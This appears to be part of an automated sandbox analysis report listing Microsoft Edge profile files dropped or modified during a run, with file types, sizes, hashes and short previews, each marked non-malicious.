Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366255155905546","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366255155905546","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9f850a07-69eb-4704-82e9-c0a219892b7b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13578
Entropy (8bit):	5.242046989041558
Encrypted:	false
SSDEEP:	192:sV0J9pQTryZiuaba4uy6JJDLKhOOxP5Yt3+8qpj+F2o7QAgz0Ih1f:sV0LAJuhJJD+h5RXpU28Qt0a
MD5:	D7B077A66A6C3F1EC55579C7849460AF
SHA1:	BEE95AAB014BF77C1AD0008EEB89D80279F2C716
SHA-256:	A684B144D6A67C40545CD14A9C3459F540E354C387513628FF647EA2715406F0
SHA-512:	5E524324A05485551A3FB77ACD0F4A6D18AA101F5334AD573FAD58B32FC1191B51DE45FFD1450EB3676C34905436B52181D2E9120F9AC697A5DCCCEC7A5900D4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13366255156531271","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1695826
Entropy (8bit):	5.041128485041357
Encrypted:	false
SSDEEP:	24576:NPfQUg6kAdRhiGzmYoAo2ENU0ifYeV3br2M:NPfZ/mS5
MD5:	DF6B7A4E3AC64BC276AB7F3F6EC04B77
SHA1:	7E9B1FC40FC225DB47AABEFEAC95C25621AFB9C3
SHA-256:	A4FD75BE6CEF29983A48681888DAA77072820C790E2F23320E1C1AA683F50F2C
SHA-512:	FE12DD194BCD56FE8A2623F25222CE8994CCFEA3EE29FFD761A7EF60265082D5CAB20D0D00336B8D647500548D9563E246C8889B9CBF2CEBD624B1AF9F9BF379
Malicious:	false
Preview:	...m.................DB_VERSION.1..h..................QUERY_TIMESTAMP:arbitration_priority_list4...13366255167183297.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"2DPW9BV28WrPpgGHdKsEvldNQvD7dA0AAxPa3B/lKN0=","size":11989}].p.o.................QUERY_TIMESTAMP:edge_hub_apps_manifest_gz4.7..13366255167199041.$QUERY:edge_hub_apps_manifest_gz4.7...[{"name":"edge_hub_apps_manifest_gz","url":"https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline","version":{"major":4,"minor":7,"patch":107},"hash":"Qoxdh2pZS19o99emYo77uFsfzxtXVDB75kV6eln53YE=","size":1682291}]=_.../..............'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.]{.. "configVersion": 32,.. "PrivilegedExperiences": [.. "ShorelinePrivileged

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.130823231457376
Encrypted:	false
SSDEEP:	6:BMWQTc33B1wkn23oH+Tcwt9Eh1ZB2KLlrMWQTIQ33+q2Pwkn23oH+Tcwt9Eh1tIg:BQAnkfYeb9Eh1ZFLJQpOvYfYeb9Eh16g
MD5:	8D5FDD365FFD52DB26EDB00975AB9321
SHA1:	349302F2EA6AABE2429AC0F6C402844D2549051B
SHA-256:	AE11F4FB8E2510D67BC6EEEE0F44DC27108BBE7330568B0D423BA925446DD081
SHA-512:	208CD31A0202FC29E3BFA60A21A2DD3826B1D96E6664BF15E3016AA6AD43AA1BB53FD3AC4427726191C1E54B03136058C04C04A77B48C256224590862F5E6F8D
Malicious:	false
Preview:	2024/07/23-20:39:25.595 2508 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db since it was missing..2024/07/23-20:39:26.137 2508 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome\AssistanceHomeSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.3202460253800455
Encrypted:	false
SSDEEP:	6:l9bNFlEuWk8TRH9MRumWEyE4gLueXdNOmWxFxCxmWxYgCxmW5y/mWz4ynLAtD/W4:TLiuWkMORuHEyESeXdwDQ3SOAtD/ie
MD5:	40B18EC43DB334E7B3F6295C7626F28D
SHA1:	0E46584B0E0A9703C6B2EC1D246F41E63AF2296F
SHA-256:	85E961767239E90A361FB6AA0A3FD9DAA57CAAF9E30599BB70124F1954B751C8
SHA-512:	8BDACDC4A9559E4273AD01407D5D411035EECD927385A51172F401558444AD29B5AD2DC5562D1101244665EBE86BBDDE072E75ECA050B051482005EB6A52CDBD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4699239317140923
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfrEEm:TouQq3qh7z3bY2LNW9WMcUv
MD5:	D77C211A7EC4831741A20C2811C2FF0D
SHA1:	8C941AAD9FC27FC9ED14B538144A8F635F3539E5
SHA-256:	89AF69A4F2AD138B5736B17115D067A412BC0A5892BD7C1F81C2FF9A31E48B6D
SHA-512:	C256758C43B846FD6C1050D3DF93989B0AA835CF8F66FAEA70922662D4F4C31F82C3F04DED9AC490FE269815322E99F09566D10FA5E339AC3F27921E0396571A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.47693366977411E-4
Encrypted:	false
SSDEEP:	3:LsNlhsZK/:Ls36ZK
MD5:	DD2C2ABB6E7A2C9E28B62FC83B66552B
SHA1:	69251EE5D715BFEF642311CEA3E08BD6E51149EF
SHA-256:	D9A31E75E354E790370E0A0F6E2C14837FBB08866F91A29A1B74B5C33CA9535D
SHA-512:	8D93128B4AF9B40D30C5CA044EC27157A752143EC1B655DC94343E5876AAD35C382A088A8FDBCB5E9D32F1E30B03B038E287668399C6E956464D145E0E25FAAE
Malicious:	false
Preview:	.........................................(..\|/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.236393271193151
Encrypted:	false
SSDEEP:	6:BMWQZUFFo1wkn23oH+TcwtnG2tbB2KLlrMWQbE1L+q2Pwkn23oH+TcwtnG2tMsIg:BQZi3fYebn9VFLJQayvYfYebn9GFUv
MD5:	1D54306069B8752D96DD8A143BF4A213
SHA1:	3269D449C84DB81EB0079752DC40263281CEB8C9
SHA-256:	5632503F378D52485FD3664FE71655FF91FC4F0CD6AFFE13144AC89247DC2408
SHA-512:	DF9E4C24DE9F3E5843779C5D5E89C4CF8DA60C9C5D5187EBC89E3DD2CAF3BA4283AC02A4225F96ED7D7503C915FB80A7B1ABB4D01A3905933BFFC8D601100B0D
Malicious:	false
Preview:	2024/07/23-20:39:16.051 2058 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db since it was missing..2024/07/23-20:39:16.078 2058 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 14, database pages 8, cookie 0xe, schema 4, UTF-8, version-valid-for 14
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.494709561094235
Encrypted:	false
SSDEEP:	24:TLEC30OIcqIn2o0FUFlA2cs0US5S693Xlej2:ThLaJUnAg0UB6I
MD5:	CF7760533536E2AF66EA68BC3561B74D
SHA1:	E991DE2EA8F42AE7E0A96A3B3B8AF87A689C8CCD
SHA-256:	E1F183FAE5652BA52F5363A7E28BF62B53E7781314C9AB76B5708AF9918BE066
SHA-512:	38B15FE7503F6DFF9D39BC74AA0150A7FF038029F973BE9A37456CDE6807BCBDEAB06E624331C8DFDABE95A5973B0EE26A391DB2587E614A37ADD50046470162
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...i............t...c................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6132076448060299
Encrypted:	false
SSDEEP:	12:TLW4QpRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWXIq/MAqhw:TLqpR+DDNzWjJ0npnyXKUO8+jypsmL
MD5:	89147C0AF2DF1071935D09C20B44467A
SHA1:	3DFA1A300D2CFEB11D5F686A45ECDAAC9CBFCFC2
SHA-256:	15CC02088C811CC88CA5EB220A994BFC7E34928D96C700DBE6AF56A87185C4FC
SHA-512:	B50CE1FA96B0E32AD7742F7595AE6B07AB39833355D1B2DE3FFFCB0BE87B19BD0302B706A8B2CF05B74A843A675D2A8740A86A01AD2434C8EAFF76EE1D60FD4A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	392512
Entropy (8bit):	5.408356919070989
Encrypted:	false
SSDEEP:	6144:jz/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPZ:jkdMyq49tEndBuHltBfdK5WNbsVEziP2
MD5:	B0CEBF98EE14EB7BD6334624F06AF1AB
SHA1:	18B579A59EF62C937CF0EF38E0FC7E7CE0A42E9C
SHA-256:	9B43F17780923C0DDDCEDE14C62C34031F21CA15CC93FEF1CCAE50E86E432A09
SHA-512:	78A31A6172E556A70F6EA2FD13556DC7A6C8953458BCAC58704C0A415F9C78BA7B442FBB74D987D5627E80718716CD0F37DB4C9E1AFC3E7A4A8E96A750C1F307
Malicious:	false
Preview:	...m.................DB_VERSION.1h6.q...............&QUERY_TIMESTAMP:domains_config_gz2...13366255167207414..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.75/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":75},"hash":"EwG2gkfquexLj6u3yjHyiL4YQwdU318k1Hub+1rSDMI=","size":391864}]Q"j%`~...............ASSET_VERSION:domains_config_gz.2.8.75..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.188957293226543
Encrypted:	false
SSDEEP:	6:BMWQTjRq1wkn23oH+Tcwtk2WwnvB2KLlrMWQTXOq2Pwkn23oH+Tcwtk2WwnvIFUv:BQB1fYebkxwnvFLJQavYfYebkxwnQFUv
MD5:	C1DC523FF41514C17F7BD40FBD96AE3D
SHA1:	DAE7185EA003D260DC654C8064C08F9B502FB685
SHA-256:	91E911B83CEFD5CEDE51437268D5AFABA19F8EE3AB41B9889D9E08A20FD995A6
SHA-512:	FBFAAB23ECBA990D5912931E7D1B058353040E76B2542A2FCE413989E8F1CD2FC502D6FFDA38019A40761874F0418FA5AD95A8D11FB6F47149C999664D6D48EA
Malicious:	false
Preview:	2024/07/23-20:39:25.577 2540 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/07/23-20:39:25.679 2540 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	374811
Entropy (8bit):	5.396173296297296
Encrypted:	false
SSDEEP:	6144:dWLgimLVvUrsc6rRA81b/18jyJNjfvrfM6RF:cLBgAg1zfv9
MD5:	DEC759321A2DA82438798EB137D654DB
SHA1:	C834B519C901920FDC6FCDE2A35A88D0659B6751
SHA-256:	632619C5275FCB88698A339F8F397FA8BD39D816A01B676F44ED6B24D7D50089
SHA-512:	C6CED85E80ED9CA9E3B3805E975A36282130FAE9F6256B681263CD41EEB89B04D65B419449AE5E8C1D4D8B8E11DA47FB86B59C8E8A3F2F8BC696EAC0B1DA50CE
Malicious:	false
